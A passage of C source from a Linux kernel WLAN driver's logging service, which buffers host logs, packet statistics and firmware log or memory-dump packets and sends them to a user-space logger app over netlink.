list_del_init(gwlan_logging.free_list.next); } else if (!list_empty(&gwlan_logging.filled_list)) { /* Get buffer from filled list */ /* This condition will drop the packet from being * indicated to app */ gwlan_logging.pcur_node = (struct log_msg *)(gwlan_logging.filled_list.next); ++gwlan_logging.drop_count; /* print every 64th drop count */ if (vos_is_multicast_logging() && (!(gwlan_logging.drop_count % 0x40))) { pr_err("%s: drop_count = %u index = %d filled_length = %d\n", __func__, gwlan_logging.drop_count, gwlan_logging.pcur_node->index, gwlan_logging.pcur_node->filled_length); } list_del_init(gwlan_logging.filled_list.next); ret = 1; } /* Reset the current node values */ gwlan_logging.pcur_node->filled_length = 0; return ret; } void wlan_fillTxStruct(void *pktStat) { vos_mem_copy(&gwlan_logging.txPktStatsInfo, (struct perPktStatsInfo *)pktStat, sizeof(struct perPktStatsInfo)); } bool wlan_isPktStatsEnabled(void) { return gwlan_logging.pkt_stats_enabled; } /* Need to call this with spin_lock acquired */ static int wlan_queue_pkt_stats_for_app(void) { int ret = 0; list_add_tail(&gwlan_logging.pkt_stats_pcur_node->node, &gwlan_logging.pkt_stat_filled_list); if (!list_empty(&gwlan_logging.pkt_stat_free_list)) { /* Get buffer from free list */ gwlan_logging.pkt_stats_pcur_node = (struct pkt_stats_msg *)(gwlan_logging.pkt_stat_free_list.next); list_del_init(gwlan_logging.pkt_stat_free_list.next); } else if (!list_empty(&gwlan_logging.pkt_stat_filled_list)) { /* Get buffer from filled list */ /* This condition will drop the packet from being * indicated to app */ gwlan_logging.pkt_stats_pcur_node = (struct pkt_stats_msg *)(gwlan_logging.pkt_stat_filled_list.next); ++gwlan_logging.pkt_stat_drop_cnt; /* print every 64th drop count */ if (vos_is_multicast_logging() && (!(gwlan_logging.pkt_stat_drop_cnt % 0x40))) { pr_err("%s: drop_count = %u filled_length = %d\n", __func__, gwlan_logging.pkt_stat_drop_cnt, gwlan_logging.pkt_stats_pcur_node->skb->len); } list_del_init(gwlan_logging.pkt_stat_filled_list.next); ret = 1; } /* Reset the current node values */ gwlan_logging.pkt_stats_pcur_node-> skb->len = 0; return ret; } int wlan_pkt_stats_to_user(void *perPktStat) { bool wake_up_thread = false; tPerPacketStats *pktstats = perPktStat; unsigned long flags; tx_rx_pkt_stats rx_tx_stats; int total_log_len = 0; struct sk_buff *ptr; tpSirMacMgmtHdr hdr; uint32 rateIdx; if (!vos_is_multicast_logging()) { return -EIO; } if (vos_is_multicast_logging()) { vos_mem_zero(&rx_tx_stats, sizeof(tx_rx_pkt_stats)); if (pktstats->is_rx){ rx_tx_stats.ps_hdr.flags = (1 << PKTLOG_FLG_FRM_TYPE_REMOTE_S); }else{ rx_tx_stats.ps_hdr.flags = (1 << PKTLOG_FLG_FRM_TYPE_LOCAL_S); } /*Send log type as PKTLOG_TYPE_PKT_STAT (9)*/ rx_tx_stats.ps_hdr.log_type = PKTLOG_TYPE_PKT_STAT; rx_tx_stats.ps_hdr.timestamp = vos_timer_get_system_ticks(); rx_tx_stats.ps_hdr.missed_cnt = 0; rx_tx_stats.ps_hdr.size = sizeof(tx_rx_pkt_stats) - sizeof(pkt_stats_hdr) + pktstats->data_len- MAX_PKT_STAT_DATA_LEN; rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_TX_SUCCESS; rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_80211_HEADER; if (pktstats->is_rx) rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_DIRECTION_TX; hdr = (tpSirMacMgmtHdr)pktstats->data; if (hdr->fc.wep) { rx_tx_stats.stats.flags |= PER_PACKET_ENTRY_FLAGS_PROTECTED; /* Reset wep bit to parse frame properly */ hdr->fc.wep = 0; } rx_tx_stats.stats.tid = pktstats->tid; rx_tx_stats.stats.dxe_timestamp = pktstats->dxe_timestamp; if (!pktstats->is_rx) { rx_tx_stats.stats.rssi = gwlan_logging.txPktStatsInfo.avgRssi; rx_tx_stats.stats.num_retries = gwlan_logging.txPktStatsInfo.txAvgRetry; rateIdx = gwlan_logging.txPktStatsInfo.lastTxRate; } else { rx_tx_stats.stats.rssi = pktstats->rssi; rx_tx_stats.stats.num_retries = pktstats->num_retries; rateIdx = pktstats->rate_idx; } rx_tx_stats.stats.link_layer_transmit_sequence = pktstats->seq_num; /* Calculate rate and MCS from rate index */ if( rateIdx >= 210 && rateIdx <= 217) rateIdx-=202; if( rateIdx >= 218 && rateIdx <= 225 ) rateIdx-=210; get_rate_and_MCS(&rx_tx_stats.stats, rateIdx); vos_mem_copy(rx_tx_stats.stats.data,pktstats->data, pktstats->data_len); /* 1+1 indicate '\n'+'\0' */ total_log_len = sizeof(tx_rx_pkt_stats) + pktstats->data_len - MAX_PKT_STAT_DATA_LEN; spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); // wlan logging svc resources are not yet initialized if (!gwlan_logging.pkt_stats_pcur_node) { pr_err("%s, logging svc not initialized", __func__); spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); return -EIO; } ; /* Check if we can accomodate more log into current node/buffer */ if (total_log_len + sizeof(vos_log_pktlog_info) + sizeof(tAniNlHdr) >= skb_tailroom(gwlan_logging.pkt_stats_pcur_node->skb)) { wake_up_thread = true; wlan_queue_pkt_stats_for_app(); } ptr = gwlan_logging.pkt_stats_pcur_node->skb; vos_mem_copy(skb_put(ptr, total_log_len), &rx_tx_stats, total_log_len); spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); /* Wakeup logger thread */ if ((true == wake_up_thread)) { /* If there is logger app registered wakeup the logging * thread */ set_bit(HOST_PKT_STATS_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } } return 0; } void wlan_disable_and_flush_pkt_stats() { unsigned long flags; spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); if(gwlan_logging.pkt_stats_pcur_node->skb->len){ wlan_queue_pkt_stats_for_app(); } spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); set_bit(HOST_PKT_STATS_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } int wlan_log_to_user(VOS_TRACE_LEVEL log_level, char *to_be_sent, int length) { /* Add the current time stamp */ char *ptr; char tbuf[100]; int tlen; int total_log_len; unsigned int *pfilled_length; bool wake_up_thread = false; unsigned long flags; struct timeval tv; struct rtc_time tm; unsigned long local_time; u64 qtimer_ticks; if (!vos_is_multicast_logging()) { /* * This is to make sure that we print the logs to kmsg console * when no logger app is running. This is also needed to * log the initial messages during loading of driver where even * if app is running it will not be able to * register with driver immediately and start logging all the * messages. */ pr_err("%s\n", to_be_sent); } else { /* Format the Log time [hr:min:sec.microsec] */ do_gettimeofday(&tv); /* Convert rtc to local time */ local_time = (u32)(tv.tv_sec - (sys_tz.tz_minuteswest * 60)); rtc_time_to_tm(local_time, &tm); /* Firmware Time Stamp */ qtimer_ticks = arch_counter_get_cntpct(); tlen = snprintf(tbuf, sizeof(tbuf), "[%02d:%02d:%02d.%06lu] [%016llX]" " [%.5s] ", tm.tm_hour, tm.tm_min, tm.tm_sec, tv.tv_usec, qtimer_ticks, current->comm); /* 1+1 indicate '\n'+'\0' */ total_log_len = length + tlen + 1 + 1; spin_lock_irqsave(&gwlan_logging.spin_lock, flags); // wlan logging svc resources are not yet initialized if (!gwlan_logging.pcur_node) { spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); return -EIO; } pfilled_length = &gwlan_logging.pcur_node->filled_length; /* Check if we can accomodate more log into current node/buffer */ if (MAX_LOGMSG_LENGTH < (*pfilled_length + sizeof(tAniNlHdr) + total_log_len)) { wake_up_thread = true; wlan_queue_logmsg_for_app(); pfilled_length = &gwlan_logging.pcur_node->filled_length; } ptr = &gwlan_logging.pcur_node->logbuf[sizeof(tAniHdr)]; /* Assumption here is that we receive logs which is always less than * MAX_LOGMSG_LENGTH, where we can accomodate the * tAniNlHdr + [context][timestamp] + log * VOS_ASSERT if we cannot accomodate the the complete log into * the available buffer. * * Continue and copy logs to the available length and discard the rest. */ if (MAX_LOGMSG_LENGTH < (sizeof(tAniNlHdr) + total_log_len)) { VOS_ASSERT(0); total_log_len = MAX_LOGMSG_LENGTH - sizeof(tAniNlHdr) - 2; } vos_mem_copy(&ptr[*pfilled_length], tbuf, tlen); vos_mem_copy(&ptr[*pfilled_length + tlen], to_be_sent, min(length, (total_log_len - tlen))); *pfilled_length += tlen + min(length, total_log_len - tlen); ptr[*pfilled_length] = '\n'; *pfilled_length += 1; spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); /* Wakeup logger thread */ if ((true == wake_up_thread)) { /* If there is logger app registered wakeup the logging * thread */ set_bit(HOST_LOG_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } if (gwlan_logging.log_fe_to_console && ((VOS_TRACE_LEVEL_FATAL == log_level) || (VOS_TRACE_LEVEL_ERROR == log_level))) { pr_err("%s %s\n",tbuf, to_be_sent); } } return 0; } static int send_fw_log_pkt_to_user(void) { int ret = -1; int extra_header_len, nl_payload_len; struct sk_buff *skb = NULL; static int nlmsg_seq; vos_pkt_t *current_pkt; vos_pkt_t *next_pkt; VOS_STATUS status = VOS_STATUS_E_FAILURE; unsigned long flags; tAniNlHdr msg_header; do { spin_lock_irqsave(&gwlan_logging.fw_log_pkt_lock, flags); if (!gwlan_logging.fw_log_pkt_queue) { spin_unlock_irqrestore( &gwlan_logging.fw_log_pkt_lock, flags); return -EIO; } /* pick first pkt from queued chain */ current_pkt = gwlan_logging.fw_log_pkt_queue; /* get the pointer to the next packet in the chain */ status = vos_pkt_walk_packet_chain(current_pkt, &next_pkt, TRUE); /* both "success" and "empty" are acceptable results */ if (!((status == VOS_STATUS_SUCCESS) || (status == VOS_STATUS_E_EMPTY))) { ++gwlan_logging.fw_log_pkt_drop_cnt; spin_unlock_irqrestore( &gwlan_logging.fw_log_pkt_lock, flags); pr_err("%s: Failure walking packet chain", __func__); return -EIO; } /* update queue head with next pkt ptr which could be NULL */ gwlan_logging.fw_log_pkt_queue = next_pkt; --gwlan_logging.fw_log_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.fw_log_pkt_lock, flags); status = vos_pkt_get_os_packet(current_pkt, (v_VOID_t **)&skb, TRUE); if (!VOS_IS_STATUS_SUCCESS(status)) { ++gwlan_logging.fw_log_pkt_drop_cnt; pr_err("%s: Failure extracting skb from vos pkt", __func__); return -EIO; } /*return vos pkt since skb is already detached */ vos_pkt_return_packet(current_pkt); extra_header_len = sizeof(msg_header.radio) + sizeof(tAniHdr); nl_payload_len = extra_header_len + skb->len; msg_header.nlh.nlmsg_type = ANI_NL_MSG_LOG; msg_header.nlh.nlmsg_len = nlmsg_msg_size(nl_payload_len); msg_header.nlh.nlmsg_flags = NLM_F_REQUEST; msg_header.nlh.nlmsg_pid = gapp_pid; msg_header.nlh.nlmsg_seq = nlmsg_seq++; msg_header.radio = 0; msg_header.wmsg.type = ANI_NL_MSG_FW_LOG_PKT_TYPE; msg_header.wmsg.length = skb->len; if (unlikely(skb_headroom(skb) < sizeof(msg_header))) { pr_err("VPKT [%d]: Insufficient headroom, head[%p]," " data[%p], req[%zu]", __LINE__, skb->head, skb->data, sizeof(msg_header)); return -EIO; } vos_mem_copy(skb_push(skb, sizeof(msg_header)), &msg_header, sizeof(msg_header)); ret = nl_srv_bcast(skb); if ((ret < 0) && (ret != -ESRCH)) { pr_info("%s: Send Failed %d drop_count = %u\n", __func__, ret, ++gwlan_logging.fw_log_pkt_drop_cnt); } else { ret = 0; } } while (next_pkt); return ret; } static int send_data_mgmt_log_pkt_to_user(void) { int ret = -1; int extra_header_len, nl_payload_len; struct sk_buff *skb = NULL; static int nlmsg_seq; vos_pkt_t *current_pkt; vos_pkt_t *next_pkt; VOS_STATUS status = VOS_STATUS_E_FAILURE; unsigned long flags; tAniNlLogHdr msg_header; do { spin_lock_irqsave(&gwlan_logging.data_mgmt_pkt_lock, flags); if (!gwlan_logging.data_mgmt_pkt_queue) { spin_unlock_irqrestore( &gwlan_logging.data_mgmt_pkt_lock, flags); return -EIO; } /* pick first pkt from queued chain */ current_pkt = gwlan_logging.data_mgmt_pkt_queue; /* get the pointer to the next packet in the chain */ status = vos_pkt_walk_packet_chain(current_pkt, &next_pkt, TRUE); /* both "success" and "empty" are acceptable results */ if (!((status == VOS_STATUS_SUCCESS) || (status == VOS_STATUS_E_EMPTY))) { ++gwlan_logging.pkt_drop_cnt; spin_unlock_irqrestore( &gwlan_logging.data_mgmt_pkt_lock, flags); pr_err("%s: Failure walking packet chain", __func__); return -EIO; } /* update queue head with next pkt ptr which could be NULL */ gwlan_logging.data_mgmt_pkt_queue = next_pkt; --gwlan_logging.data_mgmt_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.data_mgmt_pkt_lock, flags); status = vos_pkt_get_os_packet(current_pkt, (v_VOID_t **)&skb, TRUE); if (!VOS_IS_STATUS_SUCCESS(status)) { ++gwlan_logging.pkt_drop_cnt; pr_err("%s: Failure extracting skb from vos pkt", __func__); return -EIO; } /*return vos pkt since skb is already detached */ vos_pkt_return_packet(current_pkt); extra_header_len = sizeof(msg_header.radio) + sizeof(tAniHdr) + sizeof(msg_header.frameSize); nl_payload_len = extra_header_len + skb->len; msg_header.nlh.nlmsg_type = ANI_NL_MSG_LOG; msg_header.nlh.nlmsg_len = nlmsg_msg_size(nl_payload_len); msg_header.nlh.nlmsg_flags = NLM_F_REQUEST; msg_header.nlh.nlmsg_pid = 0; msg_header.nlh.nlmsg_seq = nlmsg_seq++; msg_header.radio = 0; msg_header.wmsg.type = ANI_NL_MSG_LOG_PKT_TYPE; msg_header.wmsg.length = skb->len + sizeof(uint32); msg_header.frameSize = WLAN_MGMT_LOGGING_FRAMESIZE_128BYTES; if (unlikely(skb_headroom(skb) < sizeof(msg_header))) { pr_err("VPKT [%d]: Insufficient headroom, head[%p]," " data[%p], req[%zu]", __LINE__, skb->head, skb->data, sizeof(msg_header)); return -EIO; } vos_mem_copy(skb_push(skb, sizeof(msg_header)), &msg_header, sizeof(msg_header)); ret = nl_srv_bcast(skb); if (ret < 0) { pr_info("%s: Send Failed %d drop_count = %u\n", __func__, ret, ++gwlan_logging.pkt_drop_cnt); } else { ret = 0; } } while (next_pkt); return ret; } static int fill_fw_mem_dump_buffer(void) { struct sk_buff *skb = NULL; vos_pkt_t *current_pkt; vos_pkt_t *next_pkt; VOS_STATUS status = VOS_STATUS_E_FAILURE; unsigned long flags; int byte_left = 0; do { spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); if (!gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue) { spin_unlock_irqrestore( &gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); return -EIO; } /* pick first pkt from queued chain */ current_pkt = gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue; /* get the pointer to the next packet in the chain */ status = vos_pkt_walk_packet_chain(current_pkt, &next_pkt, TRUE); /* both "success" and "empty" are acceptable results */ if (!((status == VOS_STATUS_SUCCESS) || (status == VOS_STATUS_E_EMPTY))) { spin_unlock_irqrestore( &gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); pr_err("%s: Failure walking packet chain", __func__); return -EIO; } /* update queue head with next pkt ptr which could be NULL */ gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_queue = next_pkt; --gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_qcnt; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); status = vos_pkt_get_os_packet(current_pkt, (v_VOID_t **)&skb, VOS_FALSE); if (!VOS_IS_STATUS_SUCCESS(status)) { pr_err("%s: Failure extracting skb from vos pkt", __func__); return -EIO; } //Copy data from SKB to mem dump buffer spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); if((skb) && (skb->len != 0)) { // Prevent buffer overflow byte_left = ((int)gwlan_logging.fw_mem_dump_ctx.fw_dump_max_size - (int)(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc - gwlan_logging.fw_mem_dump_ctx.fw_dump_start_loc)); if(skb->len > byte_left) { vos_mem_copy(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc, skb->data, byte_left); //Update the current location ptr gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc += byte_left; } else { vos_mem_copy(gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc, skb->data, skb->len); //Update the current location ptr gwlan_logging.fw_mem_dump_ctx.fw_dump_current_loc += skb->len; } } spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock, flags); /*return vos pkt since skb is already detached */ vos_pkt_return_packet(current_pkt); } while (next_pkt); return 0; } static int send_filled_buffers_to_user(void) { int ret = -1; struct log_msg *plog_msg; int payload_len; int tot_msg_len; tAniNlHdr *wnl; struct sk_buff *skb = NULL; struct nlmsghdr *nlh; static int nlmsg_seq; unsigned long flags; static int rate_limit; while (!list_empty(&gwlan_logging.filled_list) && !gwlan_logging.exit) { skb = dev_alloc_skb(MAX_LOGMSG_LENGTH); if (skb == NULL) { if (!rate_limit) { pr_err("%s: dev_alloc_skb() failed for msg size[%d] drop count = %u\n", __func__, MAX_LOGMSG_LENGTH, gwlan_logging.drop_count); } rate_limit = 1; ret = -ENOMEM; break; } rate_limit = 0; spin_lock_irqsave(&gwlan_logging.spin_lock, flags); plog_msg = (struct log_msg *) (gwlan_logging.filled_list.next); list_del_init(gwlan_logging.filled_list.next); spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); /* 4 extra bytes for the radio idx */ payload_len = plog_msg->filled_length + sizeof(wnl->radio) + sizeof(tAniHdr); tot_msg_len = NLMSG_SPACE(payload_len); nlh = nlmsg_put(skb, 0, nlmsg_seq++, ANI_NL_MSG_LOG, payload_len, NLM_F_REQUEST); if (NULL == nlh) { spin_lock_irqsave(&gwlan_logging.spin_lock, flags); list_add_tail(&plog_msg->node, &gwlan_logging.free_list); spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); pr_err("%s: drop_count = %u\n", __func__, ++gwlan_logging.drop_count); pr_err("%s: nlmsg_put() failed for msg size[%d]\n", __func__, tot_msg_len); dev_kfree_skb(skb); skb = NULL; ret = -EINVAL; continue; } wnl = (tAniNlHdr *) nlh; wnl->radio = plog_msg->radio; vos_mem_copy(&wnl->wmsg, plog_msg->logbuf, plog_msg->filled_length + sizeof(tAniHdr)); spin_lock_irqsave(&gwlan_logging.spin_lock, flags); list_add_tail(&plog_msg->node, &gwlan_logging.free_list); spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); ret = nl_srv_bcast(skb); if (ret < 0) { if (__ratelimit(&errCnt)) { pr_info("%s: Send Failed %d drop_count = %u\n", __func__, ret, gwlan_logging.drop_count); } gwlan_logging.drop_count++; skb = NULL; break; } else { skb = NULL; ret = 0; } } return ret; } static int send_per_pkt_stats_to_user(void) { int ret = -1; struct pkt_stats_msg *plog_msg; unsigned long flags; struct sk_buff *skb_new = NULL; vos_log_pktlog_info pktlog; tAniNlHdr msg_header; int extra_header_len, nl_payload_len; static int nlmsg_seq; static int rate_limit; int diag_type; bool free_old_skb = false; while (!list_empty(&gwlan_logging.pkt_stat_filled_list) && !gwlan_logging.exit) { skb_new= dev_alloc_skb(MAX_PKTSTATS_LOG_LENGTH); if (skb_new == NULL) { if (!rate_limit) { pr_err("%s: dev_alloc_skb() failed for msg size[%d] drop count = %u\n", __func__, MAX_LOGMSG_LENGTH, gwlan_logging.drop_count); } rate_limit = 1; ret = -ENOMEM; break; } spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); plog_msg = (struct pkt_stats_msg *) (gwlan_logging.pkt_stat_filled_list.next); list_del_init(gwlan_logging.pkt_stat_filled_list.next); spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); vos_mem_zero(&pktlog, sizeof(vos_log_pktlog_info)); vos_log_set_code(&pktlog, LOG_WLAN_PKT_LOG_INFO_C); pktlog.version = VERSION_LOG_WLAN_PKT_LOG_INFO_C; pktlog.buf_len = plog_msg->skb->len; vos_log_set_length(&pktlog.log_hdr, plog_msg->skb->len + sizeof(vos_log_pktlog_info)); pktlog.seq_no = gwlan_logging.pkt_stats_msg_idx++; if (unlikely(skb_headroom(plog_msg->skb) < sizeof(vos_log_pktlog_info))) { pr_err("VPKT [%d]: Insufficient headroom, head[%p]," " data[%p], req[%zu]", __LINE__, plog_msg->skb->head, plog_msg->skb->data, sizeof(msg_header)); ret = -EIO; free_old_skb = true; goto err; } vos_mem_copy(skb_push(plog_msg->skb, sizeof(vos_log_pktlog_info)), &pktlog, sizeof(vos_log_pktlog_info)); if (unlikely(skb_headroom(plog_msg->skb) < sizeof(int))) { pr_err("VPKT [%d]: Insufficient headroom, head[%p]," " data[%p], req[%zu]", __LINE__, plog_msg->skb->head, plog_msg->skb->data, sizeof(int)); ret = -EIO; free_old_skb = true; goto err; } diag_type = DIAG_TYPE_LOGS; vos_mem_copy(skb_push(plog_msg->skb, sizeof(int)), &diag_type, sizeof(int)); extra_header_len = sizeof(msg_header.radio) + sizeof(tAniHdr); nl_payload_len = extra_header_len + plog_msg->skb->len; msg_header.nlh.nlmsg_type = ANI_NL_MSG_PUMAC; msg_header.nlh.nlmsg_len = nlmsg_msg_size(nl_payload_len); msg_header.nlh.nlmsg_flags = NLM_F_REQUEST; msg_header.nlh.nlmsg_pid = 0; msg_header.nlh.nlmsg_seq = nlmsg_seq++; msg_header.radio = 0; msg_header.wmsg.type = PTT_MSG_DIAG_CMDS_TYPE; msg_header.wmsg.length = cpu_to_be16(plog_msg->skb->len); if (unlikely(skb_headroom(plog_msg->skb) < sizeof(msg_header))) { pr_err("VPKT [%d]: Insufficient headroom, head[%p]," " data[%p], req[%zu]", __LINE__, plog_msg->skb->head, plog_msg->skb->data, sizeof(msg_header)); ret = -EIO; free_old_skb = true; goto err; } vos_mem_copy(skb_push(plog_msg->skb, sizeof(msg_header)), &msg_header, sizeof(msg_header)); ret = nl_srv_bcast(plog_msg->skb); if (ret < 0) { pr_info("%s: Send Failed %d drop_count = %u\n", __func__, ret, ++gwlan_logging.fw_log_pkt_drop_cnt); } else { ret = 0; } err: /* * Free old skb in case or error before assigning new skb * to the free list. */ if (free_old_skb) dev_kfree_skb(plog_msg->skb); spin_lock_irqsave(&gwlan_logging.pkt_stats_lock, flags); plog_msg->skb = skb_new; list_add_tail(&plog_msg->node, &gwlan_logging.pkt_stat_free_list); spin_unlock_irqrestore(&gwlan_logging.pkt_stats_lock, flags); ret = 0; } return ret; } /** * wlan_logging_thread() - The WLAN Logger thread * @Arg - pointer to the HDD context * * This thread logs log message to App registered for the logs. */ static int wlan_logging_thread(void *Arg) { int ret_wait_status = 0; int ret = 0; unsigned long flags; set_user_nice(current, -2); #if (LINUX_VERSION_CODE < KERNEL_VERSION(3, 8, 0)) daemonize("wlan_logging_thread"); #endif while (!gwlan_logging.exit) { ret_wait_status = wait_event_interruptible( gwlan_logging.wait_queue, (test_bit(HOST_LOG_POST, &gwlan_logging.event_flag) || gwlan_logging.exit || test_bit(LOGGER_MGMT_DATA_PKT_POST, &gwlan_logging.event_flag) || test_bit(LOGGER_FW_LOG_PKT_POST, &gwlan_logging.event_flag) || test_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag) || test_bit(LOGGER_FW_MEM_DUMP_PKT_POST, &gwlan_logging.event_flag) || test_bit(LOGGER_FW_MEM_DUMP_PKT_POST_DONE, &gwlan_logging.event_flag)|| test_bit(HOST_PKT_STATS_POST, &gwlan_logging.event_flag))); if (ret_wait_status == -ERESTARTSYS) { pr_err("%s: wait_event return -ERESTARTSYS", __func__); break; } if (gwlan_logging.exit) { break; } if (test_and_clear_bit(HOST_LOG_POST, &gwlan_logging.event_flag)) { ret = send_filled_buffers_to_user(); if (-ENOMEM == ret) { msleep(200); } if (WLAN_LOG_INDICATOR_HOST_ONLY == gwlan_logging.log_complete.indicator) { vos_send_fatal_event_done(); } } if (test_and_clear_bit(LOGGER_FW_LOG_PKT_POST, &gwlan_logging.event_flag)) { send_fw_log_pkt_to_user(); } if (test_and_clear_bit(LOGGER_MGMT_DATA_PKT_POST, &gwlan_logging.event_flag)) { send_data_mgmt_log_pkt_to_user(); } if (test_and_clear_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag)) { if (gwlan_logging.log_complete.is_flush_complete == true) { gwlan_logging.log_complete.is_flush_complete = false; vos_send_fatal_event_done(); } else { gwlan_logging.log_complete.is_flush_complete = true; spin_lock_irqsave(&gwlan_logging.spin_lock, flags); /* Flush all current host logs*/ wlan_queue_logmsg_for_app(); spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); set_bit(HOST_LOG_POST,&gwlan_logging.event_flag); set_bit(LOGGER_FW_LOG_PKT_POST, &gwlan_logging.event_flag); set_bit(LOGGER_FATAL_EVENT_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } } if (test_and_clear_bit(LOGGER_FW_MEM_DUMP_PKT_POST, &gwlan_logging.event_flag)) { fill_fw_mem_dump_buffer(); } if(test_and_clear_bit(LOGGER_FW_MEM_DUMP_PKT_POST_DONE, &gwlan_logging.event_flag)){ spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); /*Chnage fw memory dump to indicate write done*/ gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_status = FW_MEM_DUMP_WRITE_DONE; /*reset dropped packet count upon completion of this request*/ gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_pkt_drop_cnt = 0; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); fill_fw_mem_dump_buffer(); /* * Call the registered HDD callback for indicating * memdump complete. If it's null,then something is * not right. */ if (gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb && gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg) { ((hdd_fw_mem_dump_req_cb) gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb)( (struct hdd_fw_mem_dump_req_ctx*) gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg); /*invalidate the callback pointers*/ spin_lock_irqsave(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb = NULL; gwlan_logging.fw_mem_dump_ctx.svc_fw_mem_dump_req_cb_arg = NULL; spin_unlock_irqrestore(&gwlan_logging.fw_mem_dump_ctx.fw_mem_dump_lock,flags); } } if (test_and_clear_bit(HOST_PKT_STATS_POST, &gwlan_logging.event_flag)) { send_per_pkt_stats_to_user(); } } complete_and_exit(&gwlan_logging.shutdown_comp, 0); return 0; } /* * Process all the Netlink messages from Logger Socket app in user space */ static int wlan_logging_proc_sock_rx_msg(struct sk_buff *skb) { tAniNlHdr *wnl; int radio; int type; int ret; unsigned long flags; if (TRUE == vos_isUnloadInProgress()) { pr_info("%s: unload in progress\n",__func__); return -ENODEV; } wnl = (tAniNlHdr *) skb->data; radio = wnl->radio; type = wnl->nlh.nlmsg_type; if (radio < 0 || radio > ANI_MAX_RADIOS) { pr_err("%s: invalid radio id [%d]\n", __func__, radio); return -EINVAL; } if (wnl->wmsg.length > skb->data_len) { pr_err("%s: invalid length msgLen:%x skb data_len:%x \n", __func__, wnl->wmsg.length, skb->data_len); return -EINVAL; } if (gapp_pid != INVALID_PID) { if (wnl->nlh.nlmsg_pid > gapp_pid) { gapp_pid = wnl->nlh.nlmsg_pid; } spin_lock_irqsave(&gwlan_logging.spin_lock, flags); if (gwlan_logging.pcur_node->filled_length) { wlan_queue_logmsg_for_app(); } spin_unlock_irqrestore(&gwlan_logging.spin_lock, flags); set_bit(HOST_LOG_POST, &gwlan_logging.event_flag); wake_up_interruptible(&gwlan_logging.wait_queue); } else { /* This is to set the default levels (WLAN logging * default values not the VOS trace default) when * logger app is registered for the first time. */ gapp_pid = wnl->nlh.nlmsg_pid; } ret = wlan_send_sock_msg_to_app(&wnl->wmsg, 0, ANI_NL_MSG_LOG, wnl->nlh.nlmsg_pid); if (ret < 0) { pr_err("wlan_send_sock_msg_to_app: failed"); } return ret; } void wlan_init_log_completion(void) { gwlan_logging.log_complete.indicator = WLAN_LOG_INDICATOR_UNUSED; gwlan_logging.log_complete.is_fatal = WLAN_LOG_TYPE_NON_FATAL; gwlan_logging.log_complete.is_report_in_progress = false; gwlan_logging.log_complete.reason_code = WLAN_LOG_REASON_CODE_UNUSED; gwlan_logging.log_complete.last_fw_bug_reason = 0; gwlan_logging.log_complete.last_fw_bug_timestamp = 0; spin_lock_init(&gwlan_logging.bug_report_lock); } int wlan_set_log_completion(uint32 is_fatal, uint32 indicator, uint32 reason_code) { unsigned long flags; spin_lock_irqsave(&gwlan_logging.bug_report_lock, flags); gwlan_logging.log_complete.indicator = indicator; gwlan_logging.log_complete.is_fatal = is_fatal; gwlan_logging.log_complete.is_report_in_progress = true; gwlan_logging.log_complete.reason_code = reason_code; spin_unlock_irqrestore(&gwlan_logging.bug_report_lock, flags); return 0; } void wlan_get_log_and_reset_completion(uint32 *is_fatal, uint32 *indicator, uint32 *reason_code, bool reset) { unsigned long flags; spin_lock_irqsave(&gwlan_logging.bug_report_lock, flags); *indicator = gwlan_logging.log_complete.indicator; *is_fatal = gwlan_logging.log_complete.is_fatal; *reason_code = gwlan_logging.log_complete.reason_code; if (reset) { gwlan_logging.log_complete.indicator = WLAN_LOG_INDICATOR_UNUSED; 